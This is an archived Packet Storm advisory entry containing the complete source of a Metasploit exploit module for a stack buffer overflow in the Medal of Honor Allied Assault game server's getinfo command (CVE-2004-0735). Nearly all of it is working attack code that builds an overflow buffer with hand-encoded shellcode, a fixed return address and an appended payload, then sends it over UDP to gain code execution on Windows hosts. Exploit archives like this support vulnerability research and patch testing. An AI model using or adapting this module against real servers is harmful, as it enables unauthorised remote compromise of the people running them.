Medal Of Honor Allied Assault getinfo Stack Overflow

2009-11-26T00:00:00
ID PACKETSTORM:82984
Type packetstorm
Reporter Jacopo Cervini
Modified 2009-11-26T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Medal Of Honor Allied Assault getinfo Stack Overflow',  
'Description' => %q{  
This module exploits a stack based buffer overflow in the getinfo  
command of Medal Of Honor Allied Assault.  
},  
'Author' => [ 'Jacopo Cervini' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-0735'],  
[ 'OSVDB', '8061' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/357'],  
[ 'BID', '10743'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx  
],  
'DisclosureDate' => 'Jul 17 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(12203)  
], self.class)  
end  
  
def exploit  
connect_udp  
  
# We should convert this to metasm - Patrick  
buf = 'B' * target['Rets'][0]  
buf << "\x68\x76\x76\x76\x76"*9 # PUSH 76767676 x 9  
buf << "\x68\x7f\x7f\x7f\x7f" # PUSH 7F7F7F7F  
buf << "\x57" # PUSH EDI  
buf << "\x58" # POP EAX  
buf << "\x32\x64\x24\x24" # XOR AH,BYTE PTR SS:[ESP+24]  
buf << "\x32\x24\x24" # XOR AH,BYTE PTR SS:[ESP]  
buf << "\x48"*150 # DEC EAX x 150  
buf << "\x50\x50" # PUSH EAX x 2  
buf << "\x53" # PUSH EBX  
buf << "\x58" # POP EAX  
buf << "\x51" # PUSH ECX  
buf << "\x32\x24\x24" # XOR AH,BYTE PTR SS:[ESP]  
buf << "\x6a\x7f" # PUSH 7F  
buf << "\x5e" # POP ESI  
buf << "\x46"*37 # INC ESI  
buf << "\x56"*10 # PUSH ESI  
buf << "\x32\x44\x24\x24" # XOR AL,BYTE PTR SS:[ESP+24]  
buf << "\x49\x49" # DEC ECX  
buf << "\x31\x48\x34" # XOR DWORD PTR DS:[EAX+34],ECX  
buf << "\x58"*11 # POP EAX   
buf << "\x42"*66  
buf << "\x3c"*4  
buf << "\x42"*48  
buf << [ target['Rets'][1] ].pack('V')  
  
req = "\xff\xff\xff\xff\x02" + "getinfo " + buf  
req << "\r\n\r\n" + make_nops(32) + payload.encoded  
  
udp_sock.put(req)   
  
handler  
disconnect_udp  
end  
  
end  
`